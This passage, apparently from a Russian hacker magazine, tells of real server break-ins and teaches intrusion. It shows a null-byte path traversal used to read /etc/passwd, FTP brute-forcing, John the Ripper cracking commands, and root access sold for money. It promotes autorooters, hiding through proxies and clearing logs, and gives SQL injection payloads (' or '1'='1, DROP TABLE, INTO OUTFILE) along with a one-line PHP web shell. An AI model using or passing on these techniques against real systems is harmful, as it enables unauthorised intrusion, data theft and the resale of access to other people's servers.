шелл. Хакер предпочитал шпионить в консоли под полноценным аккаунтом, а не под web-правами, поэтому быстро залогинился под alpha. Теперь он мог полноценно передвигаться по домашней директории юзера. В каталоге не было интересных файлов, кроме лога .bash_history. Взломщик всегда проверял его содержимое, надеясь набрести на интересные команды. Он поспешно открыл журнал редактором оболочки mc и стал исследовать лог. В журнале действительно было много интересной информации. Хакер быстро понял, что alpha следит за WWW-ресурсами, так как вся его работа проводилась в каталоге /usr/www. Помимо этого, работник знал пароль от суперпользователя, посему активно юзал команду su. А зря. Иногда alpha ошибался в команде, а затем «сорил» паролем в консоль. Теперь взломщику ничего не мешало поиметь законные рутовые права. Ведь он подсмотрел пароль, а также имел нулевой gid. Последний позволял переключить права с помощью /bin/su. Одним зарутанным провайдером стало больше :). Все из-за того, что админ вовремя не настроил фаервол. Фаервол отпугивает хакера: если бы alpha следил еще и за ним, то взломщик вряд ли смог порутать WWW-сервер. Хотя кто знает, ведь существует много способов обхода даже самых навороченных фаерволов… Бывает, что хакер находит баг, который не позволяет поднять привилегии без использования какого-нибудь заковыристого метода. Так случилось при взломе сервера одного иноземного университета http://trinity.edu. Хакер даже не знал, в какой точке планеты этот университет, он ломал сервер по заказу. Надо сказать, взлом не обошелся без использования самого хардкорного метода. Сперва хакер начал сканировать Web. Так вышло, что на роутере стоял фаервол, фильтрующий все порты, кроме 21, 22 и 80. Баннер FTPD показал, что на сервере крутится SunOS 5.9, которая по тем временам была самой надежной из Солярок. Соответственно, первый метод (использование эксплоита) отпадал сразу. Итак, хакер начал с WWW. Бегло просмотрев скрипты, состряпанные студентами, взломщик наткнулся на занятный сценарий с названием view.cgi, которому передавался всего один параметр – название файла. По-видимому, скрипт создавался, чтобы показывать сишные проекты (когда взломщик ткнул по ссылке, перед ним появился исходник файла project). Особо не надеясь на успех, наш герой изменил значение параметра на /etc/passwd, но это привело к фатальной ошибке. Интерпретатор ругался на то, что не может найти файл /www/students/cgi/projects/etc/passwd.cpp. Потирая руки, сетевой партизан еще раз поменял значение опции на «../../../../../etc/passwd%00», и сервер без проблем показал файл с аккаунтами. Почему так произошло? Все просто: из-за нулевого байта расширение «.cpp» не было приплюсовано к открываемому документу – функции open() передавался файл /etc/passwd%00.cpp, что фактически открывало системный passwd. Взломщик увидел, что в системе прописаны порядка сотни учетных записей. В таком случае целесообразно применить перебор на пару «login:login», ведь особо одаренные студенты любят устанавливать пароль, равный логину (либо не задавать его вообще). Хакер скормил имена студентов специальному скрипту и передал список пар переборщику Brutus. В качестве сервиса был выбран FTP, ибо другие порты фильтровались сетевым экраном. Спустя пару минут, Brutus сообщил, что несколько студентов действительно выбрали пароль, равный логину. Не медля наш герой прицепился к шеллу по SSH и был готов к повышению своих прав. Поиск информации в логах ни к чему путному не привел. Доступ к историям команд админов был закрыт от посторонних глаз, логи студентов-ламеров не содержали ничего интересного. Наконец, взломщик вспомнил, что пароль может содержаться в .htpasswd. Команда locate .htpasswd показала три подобных конфига. Два из них имели атрибут 400, а последний не содержал полезных хэшей (в документе хранилась строка guest:пароль, но юзер guest вообще не присутствовал в /etc/passwd). Второй поисковый запрос был направлен на нахождение конфигов .htaccess. Их было больше, и почти все хакер мог посмотреть. В одном из таких файлов наш герой нашел ссылку на базу с паролями, который назывался .secure. В нем он обнаружил все юзерские хэши. Этакий дубликат /etc/shadow. Оставалось взять из него рутовый пароль и расшифровать его прогой John The Ripper. Джоник запускался на мощной 4-процессорной тачке, которую хакер купил за $100 якобы для математических вычислений :). Брутфорсер запускался в трех режимах – single, wordlist и all. Стартовый скрипт, который обращался к John, содержал всего три строки. start.sh – запуск John The Ripper в разных режимах ./john -single passwd > > crk_passwd ./john -w:big_wordlist.txt -rules passwd > > crk_passwd ./john -i:all passwd > > crk_passwd Загрузив все четыре камня, взломщик отошел от компа, надеясь, что к его возвращению пароль успешно раскриптуется. Спустя час пароль действительно был расшифрован. Взломщику повезло: в качестве пароля выступало слово «Street00». Кстати, подобное словечко было получено благодаря опции -rules, которая извращает словарные слова, подставляя к ним всякие нулики и меняя регистр букв. Вот, собственно и все. Теперь злоумышленник вошел на сервер под рутом, благо sshd разрешал подобные операции. Проверив, что пароль действительно совпадает с системным, наш герой обменял системный аккаунт на пару сотен WMZ. Все комбинации методов взлома в рамках одного материала не описать. Бывают случаи, когда взломщику приходится удивляться неработоспособности атак, отработанных годами. Подобные аномалии случаются, если на сервере стоит какая-нибудь антихакерская приблуда (например, IDS). Случается, что бдительные админы сразу пресекают хакерские действия, отключая узел от сети. Если хочешь быть в курсе грамотных взломов, рекомендую читать ежемесячную рубрику «Нашумевшие истории крупных взломов» в журнале Х. Как видишь, если долго мучиться, что-нибудь получится. Но чтобы добиться этого «что-то», хакер должен обладать некоторыми качествами: 1. Внимательность. Взломщик никогда не упустит деталей, даже мелких. Из мелочей может сложиться довольно неплохой результат. Это видно в случае, когда хакер грамотно пропарсил .bash_history и обнаружил там рутовый пароль. 2. Невидимость. Хакер должен заботиться о собственной безопасности, поэтому в его «реквизитах» обязательно присутствуют такие софтины, как SocksCap и SocksChain. Помимо этого, грамотный взломщик никогда не забывает чистить за собой логи. 3. Упертость. Нужно никогда не терять надежду и насиловать сервер по полной программе. Как говорится, настоящий хакер набирает пароль до тех пор, пока сервер не ответит, что он правильный :). Все взломы реальны, но не забывай, что информация дана только для ознакомления. Во время эпидемии сломать сервер с помощью эксплоита для mod_php было легко. Яркий тому пример – удаленная атака www.nikita.ru. John The Ripper умеет осуществлять перебор на одни цифры. Для этого используй параметр -i:digits. Brutus умеет производить брутфорс как по FTP-, так и по HTTP-протоколу (перебор значений различных форм). Кроме этого, переборщик позволяет подключать внешние плагины, которые ты можешь написать сам :). Руткит shv4 ты можешь найти и в публичных источниках. Правда, это не так-то просто сделать :). Дырявые скрипты в наше время не редкость. Как правило, хакеры находят их по нестандартным поисковым запросам. Хорошая альтернатива Brutus2 – программа hydra. Она написана командой THC и полностью адаптирована под консоль *nix. В логе http-запросов содержатся интересные параметры, в которых вполне может находиться пароль для какого-нибудь админского ресурса. Охота за багами / Автоматизированный сбор уязвимостей
Несмотря на то что багов в сети крутится огромное количество, поиск уязвимой машины вручную – дело достаточно нудное и долгое. Время, как известно, деньги, поэтому логично, что взломщики процесс поиска всячески автоматизируют. И воображение их не ограничивается банальным сканером портов под Windows :). Работу хакера выполняют многочисленные сканеры безопасности, рутеры и прочие относительно интеллектуальные утилиты. Они круглыми сутками трудятся на шеллах и десктопах, старательно записывая каждую найденную уязвимость в журнал. О том, какие реализации автоматизированного поиска багов встречаются, я поведаю далее. Начнем с классификации софта для поиска уязвимостей. Самыми популярными программками являются авторутеры. В их задачу входит сканирование указанного диапазона адресов на предмет уязвимой службы, проникновение на сервер с помощью эксплоита, добавление нового пользователя с 0-уидом и запись информации в журнал. Главным недостатком подобного софта является огромное количество следов (если можно назвать следом нового юзера с правами админа :)), им оставляемых на машине-жертве. Избавиться от этого достаточно серьезного изъяна можно путем модифицирования shell-кода (подробнее об этом читай в Спеце #08.04(45)), например, встроив в него код, создающий LKM для сокрытия присутствия хакера и т.п. Не менее распространенными в хакерских кругах являются сканеры безопасности. В отличие от авторутера, сканер – менее активный инструмент, после обнаружения уязвимости он оповещает о ней злоумышленника (интерактивно либо через лог), а не использует тотчас же эксплоит. Предмет сканирования может быть любым: www-скрипт, порт дырявого демона, хост или даже целая подсеть! Помимо сканеров и «комплектов злых бинарников» существуют гибкие эксплоиты. Принцип их работы немного схож с алгоритмом авторутера, однако весь вражеский код зашит в один-единственный файл. Гибкий эксплоит тоже сканирует некоторый диапазон адресов на предмет уязвимости и применяет свой арсенал для всех найденных тачек. Под Windows отличным примером такой программки служил бы kaht2 (RPC DCOM-эксплоит). Самое обидное, что автоматические сканеры и авторутеры редко попадают в публичные источники. Как правило, их выкладывают, только когда баг теряет актуальность, либо публикуют в урезанном варианте. Собранную мною коллекцию, уже довольно старенькую, ты сможешь найти на моем сайте (http://kamensk.net.ru/forb/). Хотелось бы рассказать о некоторых нашумевших в свое время авторутерах. Даже если какой-нибудь из них уже потерял былую актуальность, никто не помешает тебе переделать его под новый баг. С год назад я добыл аккаунт на каком-то хакерском FTP и вытащил оттуда файл под названием mass-scan.tar.gz. В архиве оказался авторутер, да не простой, а комбинированный. Эксплуатировал авторутер целых четыре уязвимости в bind, lpd, ftpd и rpc.*! Последний баг, кстати, до сих пор актуален для древних машинок на SunOS, IRIX и HP-UX. В общем, такой мощный пакет заслуживал доверия. Но, как известно, все познается на практике, поэтому я решил проверить работу этого авторутера. Мне пришлось поставить на свою машину дырявый ProFTPD, а затем натравить на него бинарник r00t. Даже не просто натравить, а заставить просканировать весь сегмент. Автоматизированная система выдержала все испытания и успешно справилась с задачей, взломав меня без каких-либо проблем. Следующий интересный авторутер использовал известный баг в OpenSSH. Ты, наверное, помнишь множество поколений эксплоита x2. Так вот, комплект xssh.tgz содержал в себе сплоит x2, а также два бинарника: Xnet и Xirc. Xnet – обычный сканер, совмещенный с эксплоитом, при запуске он искал в заданном диапазоне IP-адресов хост с нужным демоном и пытался его порутать. В случае успеха эксплоит автоматически добавлял нового юзера на машине жертвы, сообщал об этом к себе в лог и продолжал поиск. Xirc делал нечто куда более оригинальное. Он заходил в IRC и пытался найти жертву там! Xirc join’ился на определенный канал и проверял всех присутствующих на предмет уязвимости в OpenSSH. Найдя ее, запускал эксплоит и далее по тому же принципу, что и в Xnet. Этот авторутер успешно тестировался мной в локальной сети одного университета. Практически все демоны в университетской локалке были уязвимы, поэтому Xnet подарил мне целых шесть рутов! Но на все уязвимости авторутеров не напасешься, да и обнаружить их все не так-то уж просто. Тут на помощь приходят сканеры безопасности. Под *nix-системы существует много различных сканеров, но самый известный из них – nessus. Этот пакет состоит из двух частей – серверной и клиентской. Перед тем как сканировать сеть на уязвимости, необходимо сконфигурировать nessusd.conf и создать нового пользователя (командой nessus-adduser). Затем можно запускать демон nessusd с параметром -D (в режиме демона). Далее с настройкой можно разобраться и без бутылки: запускаем клиент и в удобных Иксах конфигурируем параметры nessus. Не забудь указать логин и пароль того юзера, которого ты создал консольным nessus-adduser. Пожалуй, после этих шагов nessus готов к автоматизированному сканированию. К каждому найденному багу прилагается подробное описание включая ссылку на багтрак, так что ты всегда будешь знать, каким эксплоитом можно атаковать дырявого пингвина! Следующий хакерский сканер поможет найти уязвимость по заданному баннеру. Известный grabbb от TESO умеет сканировать сетевую местность с записью в журнал баннеров указанных служб – стоит лишь запустить его в бэграунд с полным логгингом. Именно с помощью grabbb я искал уязвимые FTPD. Также не могу не рассказать о чудесном сканере strobe, который до недавнего времени вообще был приватным. Он необходим при определении неизвестного сервиса на открытом порте (портах). Кстати, strobe и grabbb объединяет один недостаток – невозможность сканирования диапазонов сетевых адресов. И тот, и другой сканеры понимают лишь отдельные IP-адреса, которые генерируются специальными утилитами с последующей записью в специальный host-файл. Как ты догадался, этот файл и передается сканеру в качестве параметра. Strobe умеет находить активный порт и комментировать сервис исходя из записи в /etc/services. Отсутствие всяких рюшечек и тюнингов, надо признать, очень неплохо отразилось на скорости поиска – в тестовом режиме strobe просканировал 254 адреса всего за 20 секунд (сканирование велось по пяти портам). И, наконец, классика. Не стоит забывать о таких монстрах, как nmap. Этот проект не даром засветился во второй «Матрице»: он прочно вошел в доверие многих хакеров. Ты и без меня знаешь достоинства nmap: сканирование в различных режимах, поддержка диапазонов адресов и портов, спуфинг адреса отправителя и многое другое. Если ты еще не юзал nmap на практике – немедленно иди на www.insecure.org/nmap и бери свежий релиз сканера. Не пожалеешь :). Я уже упоминал выше о «продвинутых» эксплоитах, которые изредка мелькают на сайтах, посвященных компьютерной безопасности. Они позволяют не только порутать сервер, но и просканить диапазон адресов на баг. К сожалению, обычно подобные вещи ориентированы на Win-уязвимости, поэтому ты наверняка вообще не слышал об автоэксплоитах для Linux. Тем не менее, подобные вещи есть. Одна из них называется linux_lprngautorooter. Этот эксплоит ориентирован на баг в lpr. Скомпилированный бинарник выполняет сканирование подсети, а затем атакует нужный сервер. После успешного эксплуатирования lprgautorooter открывает рутовый шелл. Естественно, что все действия сразу же заносятся в лог взломщика. Обращаю твое внимание на то, что большинство подобных компактных авторутеров пишутся хакерами-энтузиастами. Поэтому ты без проблем можешь выдрать нужный код сканера из исходника и прикрутить его к другому эксплоиту. На этом наше знакомство с программами, автоматизирующими поиск уязвимостей, завершается. Весь упомянутый софт ты можешь скачать с http://kamensk.net.ru/forb/1/x/autoroot. Даже если какой-либо баг, реализованный в авторутерах или автоэксплоитах, уже потерял актуальность, никто не мешает тебе попробовать адаптировать их под новые уязвимости. Но не всегда удобно пользоваться Unix-консолью (элитные чуваки сидят под любимой Виндой, а *nix видят только в окошке Virtual PC :)). Многие люди предпочитают интеллектуальные сканеры под Винду. К примеру, такие сканеры способны не только определить сервис на открытом порте, но и обнаружить уязвимость в сервисе, привести ссылку на багтрак! Самый популярный в рунете среди них, пожалуй, XSpider. Этот сканер ведет проверку на многие уязвимости и в конце процесса выводит подробный отчет. Поддерживает эвристические методы определения версии демонов. Журнал пригодится не только бдительному админу сервера, но и хакеру, который только и ждет свежей инфы о багах. Ознакомься с реальными возможностями сканера, стянув его по ссылке http://www.ptsecurity.ru/download/xs7demo.zip. К сожалению, проект уже давно является коммерческим :(, но демо-версия вполне юзабельна. Обладая некоторым опытом программинга, ты не затруднишься модифицировать чужой авторутер под свои нужды (то есть под свой эксплоит). Скрипт ces.pl поставляется с базой. Рекомендую найти новый список уязвимых скриптов либо составить свой. Ищи новые авторутеры на http://packetstormsecurity.nl, а также на http://security.nnov.ru. Будь осторожен! Некоторые авторутеры отсылают информацию не только тебе, но и своему автору :). База данных под прицелом / Взлом БД
Данные – это основа всего. Тут и номера кредитных карт, и личная информация пользователей, и сведения об угнанных машинах. Содержимое чатов и форумов тоже хранится в БД. Проникновение в корпоративную (военную, правительственную) базу данных – самое худшее, что только может случиться с компанией. Поразительно, но даже критические сервера зачастую оказываются никак не защищены и взламываются 12-летними любителями командной строки без особых усилий. Сервера баз данных относятся к наиболее критичным информационным ресурсам и потому должны размещаться на выделенном сервере, расположенном во внутренней корпоративной сети, огражденной маршрутизатором или брандмауэром. Взаимодействие с базами данных обычно осуществляется через Web-сервер, находящийся внутри DMZ-зоны. Размещать сервер базы данных на одном узле с Web-сервером категорически недопустимо не только по техническим, но и по юридическим соображениям (законодательства многих стран диктуют свою политику обращения с конфиденциальными данными, особенно если эти данные хранят информацию о клиентах компании). Тем не менее, совмещение сервера БД с Web-сервером довольно обычно из-за экономии. Захватив управление Web-сервером (а практически ни одному Web-серверу не удалось избежать ошибок переполнения буфера и прочих дыр), атакующий получит доступ ко всем данным, хранящимся в базе! Сервер БД, как и любой другой сервер, подвержен ошибкам проектирования, среди которых доминируют переполняющиеся буфера, позволяющие атакующему захватывать управление удаленной машиной с наследованием администраторских привилегий. Яркий пример тому – уязвимость, обнаруженная в сервере MS SQL и ставшая причиной крупной вирусной эпидемии. Не избежал этой участи и MySQL. Версия 3.23.31 падала на запросах типа select a.AAAAAAA…AAAAAA.b, а на соответствующим образом подготовленных строках – передавала управление на shell-код, причем атаку можно было осуществить и через браузер, передав в URL уязвимому для SQL-инъекции скрипту что-то типа: script.php?index=a.(shell-code).b. Однако даже защищенный брандмауэром SQL-сервер может быть атакован через уязвимый скрипт или нестойкий механизм аутентификации. Разумеется, я не могу рассказать обо всех существующих атаках, но продемонстрирую пару-тройку излюбленных хакерских приемов. Пароли, регламентирующие доступ к базе данных, ни при каких обстоятельствах не должны передаваться открытым текстом по сети. Вместо пароля передается его хэш, зашифрованный случайно сгенерированной последовательностью байт и называемый проверочной строкой (check-string). Короче говоря, реализуется классическая схема аутентификации, устойчивая к перехвату информации и при этом не допускающая ни подбора пароля, ни его декодирования, во всяком случае, в теории. На практике же во многих серверах БД обнаруживаются грубые ошибки проектирования. Взять хотя бы MySQL версии 3.x. Хэш-функция, используемая для «сворачивания» пароля, возвращает 64-разрядную кодированную последовательность, в то время как длина случайно генерируемой строки (random-string) составляет всего лишь 40 бит. Как следствие, шифрование не полностью удаляет всю избыточную информацию и анализ большого количества перехваченных check-string/random-string позволяет восстановить исходный хэш (пароль восстанавливать не требуется, так как для аутентификации он не нужен). В несколько упрощенном виде процедура шифрования выглядит так: ЛИСТИНГ // P1/P2 – 4 левых/правый байта парольного хэша соответственно // C1/C2 – 4 левых/правый байта random-string соответственно seed1 = P1 ^ C1; seed2 = P2 ^ C2 ; for(i = 1; i <= 8; i++) { seed1 = seed1 + (3*seed2); seed2 = seed1 + seed2 + 33; r[i] = floor((seed1/n)*31) + 64; } seed1 = seed1+(3*seed2); seed2 = seed1+seed2+33; r[9] = floor((seed1/n)*31); checksum =(r[1]^r[9] || r[2]^r[9] || r[7]^r[9] || r[8]^r[9]); Нестойкие механизмы аутентификации встречались и в других серверах, однако к настоящему моменту практически все они давно ликвидированы. Для авторизации на сайте в подавляющем большинстве случаев используются нестойкие механизмы аутентификации, разработанные непосредственно самим Web-мастером и передающие пароль в открытом виде. Как следствие, он может быть легко перехвачен злоумышленником, забросившим на одну из машин внутренней сети или DMZ-зоны снифер или создавшим точную копию атакуемого Web-сервера, для заманивания доверчивых пользователей – тогда логин и пароль они введут сами. Многие сервера хранят информацию об авторизации в кукисах (cookie), находящихся на машинах удаленных пользователей, и, вместо того чтобы ломиться на хорошо защищенный корпоративный сервер, взломщик может атаковать никем не охраняемые клиентские узлы. Главная трудность заключается в том, что их сетевые координаты наперед неизвестны и атакующему приходится тыкаться вслепую. Обычно эта проблема решается массированной рассылкой почтовой корреспонденции с троянизированным вложением внутри по многим адресам – если повезет, то среди пользователей, доверчиво запустивших трояна, окажется хотя бы один корпоративный клиент. Ну а извлечь куки – уже дело техники. Некоторые серверы баз данных (в частности, ранние версии MS SQL), автоматически устанавливают пароль по умолчанию, предоставляющий полный доступ к базе и позволяющий делать с ней что угодно (у MS SQL этот пароль «sa»). Типичный сценарий взаимодействия с базой данных выглядит так: пользователь вводит некоторую информацию в поля запроса, оттуда ее извлекает специальный скрипт и преобразует в строку запроса к базе данных, передавая серверу ее на выполнение: ЛИСТИНГ $result = mysql_db_query(«database», "select * from userTable where login = «$userLogin» and password = «$userPassword»); Здесь $userlogin – переменная, содержащая имя пользователя, а $userPassword – его пароль. Обрати внимание, что обе переменные размещены внутри текстовой строки, окаймленной кавычками. Это необычно для Си, но типично для интерпретируемых языков вроде Perl и PHP. Подобный механизм называется интерполяцией строк и позволяет автоматически подставлять вместо переменной ее фактическое значение. Допустим, пользователь введет KPNC/passwd. Тогда строка запроса будет выглядеть так: «select * from userTable where login = 'KPNC' and password = 'passwd'». Если такой логин/пароль действительно присутствует в базе, функция сообщает идентификатор результата, в противном случае возвращается FALSE. Хочешь войти в систему под именем другого пользователя, зная его логин, но не зная пароль? Воспользуйся тем, что механизм интерполяции позволяет атакующему воздействовать на строку запроса, видоизменяя ее по своему усмотрению. Посмотрим, что произойдет, если вместо пароля ввести последовательность «fuck' or '1'= '1» (без кавычек): «select * from userTable where login = 'KPNC' and password = 'fuck' or '1' = '1'». Смотри: кавычка, стоящая после fuck, замкнула пользовательский пароль, а весь последующий ввод попал в логическое выражение, навязанное базе данных атакующим. Поскольку один всегда равен одному, запрос будет считаться выполненным при любом введенном пароле и SQL-сервер возвратит все-все-все записи из таблицы (в том числе и не относящиеся к логину KPNC)! Рассмотрим другой пример: «SELECT * FROM userTable WHERE msg='$msg' AND ID=669». Здесь msg – номер сообщения, извлекаемого из базы, а ID – идентификатор пользователя, автоматически подставляемый скриптом в строку запроса и непосредственно не связанный с пользовательским вводом. Константная переменная использована по соображениям наглядности, в конечном скрипте будет, скорее всего, использована конструкция типа: ID='$userID'. Чтобы получить доступ к остальным полям базы (а не только к тем, чей ID равен 669), необходимо отсечь последнее логическое условие. Это можно сделать, внедрив в строку пользовательского ввода символы комментария («-» и «/*» для MS SQL и MySQL соответственно). Текст, расположенный правее символов комментария, игнорируется. Если вместо номера сообщения ввести «1' AND ID=666 -», строка запроса примет следующий вид: «SELECT * FROM userTable WHERE msg='1' and ID= 666 -' AND ID=669» . Как следствие, атакующий получит возможность самостоятельно формировать ID, читая сообщения, предназначенные совсем для других пользователей. Причем одним лишь видоизменением полей SELECT'а дело не огранивается, и существует угроза прорыва за его пределы. Некоторые SQL-сервера поддерживают возможность задания нескольких команд в одной строке, разделяя их знаком «;„, что позволяет атакующему выполнить любые SQL-команды, какие ему только заблагорассудится. Например, последовательность « '; DROP TABLE 'userTable' -“, введенная в качестве имени пользователя или пароля, удаляет всю userTable! Еще атакующий может сохранять часть таблицы в файл, подсовывая базе данных запрос типа «SELECT * FROM userTable INTO OUTFILE 'FileName'». Соответствующий ему URL уязвимого скрипта может выглядеть, например, так: www.victim.com/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt, где path_to_file – путь к файлу pwd.txt, в который будет записан админовский пароль. Удобное средство для похищения данных, не так ли? Главное – размесить файл в таком месте, откуда его потом будет можно беспрепятственно утянуть, например, в одном из публичных WWW-каталогов. Тогда полный путь к файлу должен выглядеть приблизительно как: «../../../../WWW/myfile.txt» (точная форма запроса зависит от конфигурации сервера). Но это еще только цветочки! Возможность создания файлов на сервере позволяет засылать на атакуемую машину собственные скрипты (например, скрипт, дающий удаленный shell – «<? passthru($cmd) ?> »). Естественно, максимальный размер скрипта ограничен предельно допустимой длиной формы пользовательского ввода, но это ограничение зачастую удается обойти ручным формированием запроса в URL или использованием SQL-команды INSERT INTO, добавляющей новые записи в таблицу. Скорректированный URL-запрос может быть таким: http://www.victim.com/index.php?id=12 или таким: http://www.victim.com/index.php?id=12+union+select+null,null,null+from+table1 /*. Последний запрос работает только на MySQL версии 4.х и выше, поддерживающей union (объединение нескольких запросов в одной строке). Здесь table1 – имя таблицы, содержимое которой необходимо вывести на экран. Атаки подобного типа называются SQL-инъекциями (SQL-injection) и являются частным случаем атак, основанных на ошибках фильтрации и интерполяции строк. Мы словно впрыскиваем в форму запроса к базе данных собственную команду, прокалывая хакерской иглой тело уязвимого скрипта (отсюда и «инъекции»). Это не ошибка SQL-сервера (как часто принято считать). Это – ошибка разработчиков скрипта. Грамотно спроектированный скрипт должен проверять пользовательский ввод на предмет присутствия потенциально опасных символов (одиночная кавычка, точка с запятой, двойное тире, а для MySQL еще и символ звездочки) включая и их шестнадцатеричные эквиваленты, задаваемые через префикс «%», а именно: %27, %2A и %3B. Если хотя бы одно из условий фильтрации не проверяется или проверяется не везде (например, остаются не отфильтрованными строки URL или cookie), в скрипте образуется дыра, через которую его можно атаковать. Впрочем, сделать это будет не так уж и просто. Необходимо иметь опыт программирования на Perl/PHP и знать, как может выглядеть та или иная форма запроса и как чаще всего именуются поля таблицы, в противном случае интерполяция ни к чему не приведет. Непосредственной возможности определения имен полей и таблиц у хакера нет, и ему приходится действовать методом слепого перебора (blinding). Однако большинство администраторов и Web-мастеров слишком ленивы, чтобы разрабатывать все необходимые им скрипты самостоятельно, и чаще они используют готовые решения, исходные тексты которых свободно доступны в сети. Причем, большинство этих скриптов дырявы как ведро без дна. Взять, к примеру, тот же PHP Nuke, в котором обнаруживаются все новые и новые уязвимости. Приблизительная стратегия поиска дыр выглядит так. Скачиваем исходные тексты PHP Nukе (или любой другой портальной системы), устанавливаем их на свой локальный компьютер, проходимся глобальным поиском по всем файлам, откладывая в сторонку все те, что обращаются к базе данных (вызов типа mysql_query/mysql_db_query или типа того). Далее прокручиваем курсор вверх и смотрим – где-то поблизости должна быть расположена строка запроса к базе (например: $query = «SELECT user_email, user_id FROM ${prefix}_users WHERE user_id = '$cookie[0]'»). Определяем имена переменных, подставляемых в базу, находим код, ответственный за передачу параметров пользовательского ввода и анализируем условия фильтрации. В качестве наглядного примера рассмотрим одну из уязвимостей PHP Nuke 7.3, связанную с обработкой новостей. Соответствующий ей URL выглядит так: modules.php?name=News&file=categories&op=newindex&catid=1. По его внешнему виду можно предположить, что значение catid передается непосредственно в строке запроса к БД, и, если разработчик скрипта забыл о фильтрации, у нас появляется возможность модифицировать запрос по своему усмотрению. Для проверки этого предположения заменим catid с 1, допустим, на 669. Сервер немедленно отобразит в ответ пустой экран. Теперь добавим к нашему URL следующую конструкцию «'or'1'1='1» (полностью он будет выглядеть так: modules.php?name=News&file=categories&op=newindex&catid=669'or'1'='1). Сервер послушно отобразит все новостные сообщения раздела, подтверждая, что SQL-инъекция сработала! Еще можно попытаться вызвать ошибку SQL, подсунув ей заведомо неправильный запрос (например, символ одиночной кавычки), и тогда она может сообщить много интересного. Отсутствие ошибок еще не означает, что скрипт фильтрует пользовательский ввод: быть может, он просто перехватывает сообщения об ошибках, что является нормальной практикой сетевого программирования. Также возможна ситуация, когда при возникновении ошибки возвращается код ответа 500 или происходит переадресация на главную страницу. Подобная двусмысленность ситуации существенно затрудняет поиск уязвимых серверов, но отнюдь не делает его невозможным! Анализ показывает, что ошибки фильтрации встречаются в большом количестве скриптов (включая коммерческие), зачастую оставаясь неисправленными годами. Естественно, дыры в основных полях ввода давным-давно заткнуты, а потому рассчитывать на быстрый успех уже не приходится. Запросы, передаваемые методом POST, протестированы значительно хуже, поскольку передаются скрыто от пользователя и не могут быть модифицированы непосредственно из браузера, отсекая армаду начинающих «хакеров». Между тем, взаимодействовать с Web-сервером можно и посредством netcat (telnet), формируя POST-запросы вручную. SQL-инъекции в очередной раз продемонстрировали миру, что программ без ошибок не бывает. Однако не стоит переоценивать их значимость. Мавр сделал свое дело, мавр может удалиться. Администраторы и девелоперы знают об опасности, и количество уязвимых сайтов тает с каждым днем. Реальную власть нас системой дают лишь принципиально новые методики атак, неизвестные широкой общественности. Найти их – наша с тобой задача. Освободи свой разум, перешагни грань неведомого и зайди на сервер с той стороны, с которой на него еще никто не заходил. Вскрытие скрипта Нормально работающий Web-сервер никогда не выдает исходный код скрипта, а только результат его работы. Между тем, вездесущие ошибки реализации приводят к тому, что код скрипта в некоторых случаях все-таки становится доступным, причем виновником может быть как сервер, так и обрабатываемый им скрипт. Естественно, в скриптах ошибки встречаются намного чаще, поскольку их пишут все кому не лень, порой не имея никакого представления о безопасности. Серверы же проходят более или менее тщательное тестирование, и основные дыры обнаруживаются еще на начальной стадии. Подробнее об этом можно прочитать в моей статье «Безопасное программирование на языке Perl» (kpnc.opennet.ru/safe.perl.zip). Исследуя тело скрипта, можно нарыть немало интересного, например, имена полей, названия таблиц, мастер-пароли, хранящиеся открытым текстом, и т.д. ЛИСТИНГ … if ($filename eq «passwd») #проверка имени на корректность … Определение наличия SQL Прежде чем начинать атаку на SQL-сервер, неплохо бы определить его присутствие, а в идеале – еще и распознать тип. Если сервер расположен внутри DMZ (где ему находиться ни в коем случае нельзя), то атакующему достаточно просканировать порты. Противодействие вторжению Когда ручной поиск дыр надоедает, взломщики, в сердцах обложив всех Web-программистов смачным матом, запускают свое средство автоматического поиска уязвимостей и идут на перекур. Одним из таких средств является Security Scanner, разработанный компанией Application Security и официально предназначенный для тестирования MySQL на стойкость к взлому. Ну, хакерам официоз не грозит. Как и всякое оружие, Security Scanner может использоваться и во вред, и во благо. Он позволяет искать дыры как в самом сервере БД, так и в Web-скриптах. При этом БД проверятся на предмет уязвимости к атакам типа Denial of Service, наличия слабых паролей, неверно сконфигурированных прав доступа и т.д. В скриптах сканер позволяет обнаружить ошибки фильтрации ввода, позволяющие осуществлять SQL-инъекции, что значительно упрощает атаку. Никита Кислицин, редактор рубрики «Взлом» журнала «Хакер»: «Базы данных всегда были лакомым кусочком для хакеров. И в этом нет ничего удивительного: в них можно найти миллионы номеров кредитных карт, пароли к сетевым ресурсам, конфиденциальную информацию и даже планы террористических организаций по захвату цивилизованного мира. Увы, порой администраторы сетевых баз данных не уделяют должного внимания безопасности, часто их подводят и программисты, разрабатывающие программные интерфейсы. Следует знать, что в более чем половине случаев взлома SQL-серверов используется технология SQL-инъекции в разных ее проявлениях, то есть эти проблемы лежат на совести Web-программистов. Однако бывают и вовсе комические случаи. За примером далеко ходить не надо. „Xакер“ недавно писал о взломе cygwin.com и экспроприации оттуда вкуснейшей базы данных. Высокопрофессиональный админ этого сервера почему-то решил не указывать вообще никакого пароля к администраторскому аккаунту MySQL, что и позволило нашему партизану при помощи детского бага в скрипте совершить столь дерзкую вылазку». Размещать сервер базы данных на одном узле с Web-сервером категорически недопустимо не только по техническим, но и по юридическим соображениям. Сервер БД, как и любой другой сервер, подвержен ошибкам проектирования, среди которых доминируют переполняющиеся буфера. Многие сервера хранят информацию об авторизации в кукисах (cookie), находящихся на машинах удаленных пользователей. Почти 30% всех скриптов в сети подвержены ошибке SQL-инъекции. Запросы, передаваемые методом POST, протестированы значительно хуже, поскольку передаются скрыто от пользователя и не могут быть модифицированы из браузера. Сетевая дактилоскопия / Технология remote fingerprinting
